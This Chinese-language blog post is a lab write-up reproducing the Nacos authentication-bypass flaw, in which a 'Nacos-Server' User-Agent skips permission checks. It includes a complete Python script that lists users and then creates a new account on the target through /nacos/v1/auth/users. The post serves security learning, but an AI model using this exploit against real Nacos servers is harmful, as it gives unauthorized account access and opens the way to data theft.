Nacos未授权访问漏洞复现
无聊刷微信朋友圈,看到老师和70师傅发的靶场上新了,这不得尝试一下,打开靶场看到是一个提示nacos未授权访问
开始学习,
漏洞成因:该漏洞是由于在com.alibaba.nacos.core.auth.AuthFilter#doFilter中在处理服务间通信时存在默认鉴权白名单导致,代码在解析请求时,会判断User-Agent值,若是以Nacos-Server字符串开头,则会跳过后续权限校验流程。攻击者可通过利用该漏洞发送特殊数据绕过身份认证,从而调用任何接口,获取内部数据或添加任意用户,进一步利用甚至可能执行恶意代码。
测试方法,千遍一律的抓包,就缩略描述一下,5通过拼接路径;/nacos/v1/auth/users?pageNo=1&pageSize=1,我们验证了一个漏洞存在(这是个靶场,,写这个多次一举),对其进行抓包放入重放模块后,修改为post模式(一定要修改!!!!)将我们想要添加的用户作为拼接到我们的URl,将UA修改为Nacos-Server,data为pageNo=1&pageSize=9,去完成漏洞利用
了解了成因,了解了测试方法,本人为了偷懒不去抓包,就去编写脚本开始帮我吧,嘿嘿嘿
import requests
target_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?pageNo=1&pageSize=9"
# 发送GET请求,验证漏洞存在
response = requests.get(target_url)
if response.status_code == 200:
print("漏洞存在")
print("响应内容:", response.text)
# 准备POST请求参数
post_url = "http://glkb-qkj2.aqlab.cn/nacos/v1/auth/users?username=test1&password=test1"
headers = {
"User-Agent": "Nacos-Server"
}
data = {
"pageNo": "1",
"pageSize": "9"
}
# 发送POST请求,添加用户
response = requests.post(post_url, headers=headers, data=data)
if response.status_code == 200:
print("用户添加成功")
# 验证添加的用户是否生效
response = requests.get(target_url)
if "test" in response.text:
print("响应内容:",response.text)
写完脚本测试一下吧
进网页验证一下吧
复现成功,完美
漏洞修复建议:使用最新版本的nacos
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线
更多推荐
所有评论(0)